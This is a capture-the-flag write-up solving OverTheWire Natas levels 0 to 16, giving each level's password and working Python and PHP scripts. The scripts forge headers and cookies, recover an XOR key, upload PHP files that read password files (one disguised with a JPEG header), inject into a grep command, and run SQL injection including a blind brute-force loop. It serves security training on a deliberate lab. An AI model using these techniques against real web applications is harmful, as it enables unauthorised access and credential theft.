阅读 76

Writeups of OverthewireWargames(natas)

Link to Natas: overthewire.org/wargames/na…

Level 0

Password is given directly in the question's page:

Username: natas0
Password: natas0
复制代码

Level 1

View the html source and notice this line: <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
复制代码

Level 2

The rightclicking is disable, we can use the browser's keyboard shortcuts to view the html source, e.g. Ctrl+U for chrome. We see the line as below in the html source: <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
复制代码

Level 3

View the html source and notice this line: <img src="files/pixel.png"> Try a Directory Traversal over natas2.natas.labs.overthewire.org/files/:

Access the 'users.txt' and bingo.

Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
复制代码

Level 4

View the html source and notice the tips: <!-- No more information leaks!! Not even Google will find it this time... --> Looks like it's relative with the Robots exclusion standard. Access natas3.natas.labs.overthewire.org/robots.txt and this's what we get:

Access the s3cr3t directory and this's what we get:
Access the 'users.txt', bingo.

Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
复制代码

Level 5

According to the tips:

Access disallowed. You are visiting from "" while authorized users should come only from "natas5.natas.labs.overthewire.org/"

Guess it's about the 'Referer' header. The solution is as below:

# -*- coding: utf-8 -*-

import requests
from requests.auth import HTTPBasicAuth

natas4_url = 'http://natas4.natas.labs.overthewire.org'
user = 'natas4'
psw = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'
auth = HTTPBasicAuth(user, psw)
headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'}

print requests.get(natas4_url, auth=auth, headers=headers).content
复制代码
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
复制代码

Level 6

Tips is as below:

Access disallowed. You are not logged in

'logged in' is always about cookie, just view the cookie header in the request:

There's a field named 'loggedin'! We just set it to 'loggedin=1' and send the request. Solution is as below:

# -*- coding: utf-8 -*-

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas5.natas.labs.overthewire.org'
auth = HTTPBasicAuth('natas5', 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq')
headers = {'Cookie': 'loggedin=1'}

print requests.get(url, auth=auth, headers=headers).content
复制代码
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
复制代码

Level 7

Click 'View sourcecode' to view the source code:

Access the 'includes/secret.inc' file:
Just submit the secret and bingo:

Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
复制代码

Level 8

View the html source:

We can pass a GET parameter named 'page' to view a page, just try some tricky ones, e.g. 'natas7.natas.labs.overthewire.org/?page=xxx', what we get is as below:
According to the warning message, we can acknowledge the the server end would just show us the content of the file specified by the 'page' given by the url. Just access natas7.natas.labs.overthewire.org/?page=/etc/… and get the password:

Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
复制代码

Level 9

Click ‘View sourcecode’ to view the source code:

Just reverse the simple encrypt algorithm:

<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
复制代码

Run the code which results in 'oubWYf2kBq', this is the 'Input secret', submit to get the password.

Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
复制代码

Level 10

Server end source code is as below:

According to level 8, the password is stored in the file '/etc/natas_webpass/natas10'. Submit [a-z] /etc/natas_webpass/natas10 # to form a command grep -i [a-z] /etc/natas_webpass/natas10 # dictionary.txt which would show us the content in '/etc/natas_webpass/natas10'.

Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
复制代码

Level 11

Comparing with Level 10, we can submit a ';','|' or '&' in this level. Actually we didn't use this characters in level 10. Same as level 10, submit [a-z] /etc/natas_webpass/natas11 # is ok.

Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
复制代码

Level 12

View the source code and we get our target is to make $data["showpassword"] == "yes". The $data object is loaded by:

According to the code above, $_COOKIE['data'] can be set via a http Cookie header provided by the client. If we construct a Cookie which can be decoded by xor_encrypt(base64_decode($_COOKIE["data"])) into something like {"showpassword":"yes","bgcolor":"#ffffff"}, we can get the password. Deep into the code of xor_encrypt():
The $key is unknown. But look at the saveData() function:
The response cookie is encrypted by xor_encrypt(). In the code above, $d is the $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");. Because it's a xor encryption, it's easy to get the $key by:

<?php
$text = '{"showpassword":"no","bgcolor":"#ffffff"}';
$outText = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$key = "";
for($i=0;$i<strlen($text);$i++)
    $key .= $outText[$i] ^ $text[$i % strlen($text)];
echo $key;
?>
// result: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
复制代码

Thus the $key is qw8J. Next just construct our payload:

<?php
$text = '{"showpassword":"yes","bgcolor":"#ffffff"}';
$key = "qw8J";
$outText = "";
for($i=0;$i<strlen($text);$i++)
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
$payload = base64_encode($outText);
echo $payload;
?>
// result: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
复制代码

Final solution:

# -*- coding: utf-8 -*-

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas11.natas.labs.overthewire.org'
user = 'natas11'
psw = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK'
auth = HTTPBasicAuth(user, psw)
headers = {'Cookie': 'data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}

print requests.get(url, auth=auth, headers=headers).content
复制代码
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
复制代码

Level 13

In this level, we can upload any file with size less than 1KB. We can upload a php with the code below to show us the pass word:

// natas13.php
<?php
echo file_get_contents( "/etc/natas_webpass/natas13" );
?>
复制代码

Because the default filename of the uploaded file ends with .jpg, in order to make it interpreted by the php interpreter, we must make the uploaded file a .php extension. The solution:

# -*- coding: utf-8 -*-

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas12.natas.labs.overthewire.org'
user = 'natas12'
psw = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'
auth = HTTPBasicAuth(user, psw)

files = {'uploadedfile': open('natas13.php','rb')}
values = {'filename': 'natas13.php'}

print requests.post(url, files=files, data=values, auth=auth).content
复制代码

Run the code above, it gives back the url of the uploaded file, access it via browser to obtain the password.

Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
复制代码

Level 14

Compare to level 13, this level use exif_imagetype() to ensure the uploaded file is an image. It's easy to bypass exif_imagetype() by adding a JPEG header to the uploaded file. Talk is cheap:

# -*- coding: utf-8 -*-

import requests
from requests.auth import HTTPBasicAuth

url = 'http://natas13.natas.labs.overthewire.org'
user = 'natas13'
psw = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY'
auth = HTTPBasicAuth(user, psw)

with open('natas14.php', 'wb') as f:
    f.write('\xFF\xD8\xFF\xE0<?php echo file_get_contents( "/etc/natas_webpass/natas14" ); ?>')
files = {'uploadedfile': open('natas14.php','rb')}
values = {'filename': 'natas14.php'}

print requests.post(url, files=files, data=values, auth=auth).content
复制代码
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
复制代码

Level 15

A simple SQL injection, provide a username natas15"# to construct a query string SELECT * from users where username="natas15"#" and password="" to bypass the password checking.

Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
复制代码

Level 16

Another SQL injection, usually called blind injection. Think about the following query string:

SELECT * from users where username="natas16" and password like "a%" COLLATE latin1_bin
复制代码

If there's a user with name "natas16" and password starting with "a", we will get This user exists, otherwise we get This user doesn't exist. Talk is cheap:

# -*- coding: utf-8 -*-

import requests
import string
from requests.auth import HTTPBasicAuth

url = 'http://natas15.natas.labs.overthewire.org'
user = 'natas15'
psw = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
auth = HTTPBasicAuth(user, psw)

d = string.letters + string.digits

password = ''
while len(password) < 32:
    for c in d:
        current_password = password + c
        print current_password
        data = {'username': 'natas16" and password like "%s%%" COLLATE latin1_bin#' % current_password}
        resp = requests.post(url, auth=auth, data=data).content
        if 'This user exists' in resp:
            password = password + c
            break
print password
复制代码
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
复制代码

Level 17

TO BE CONTINUED ...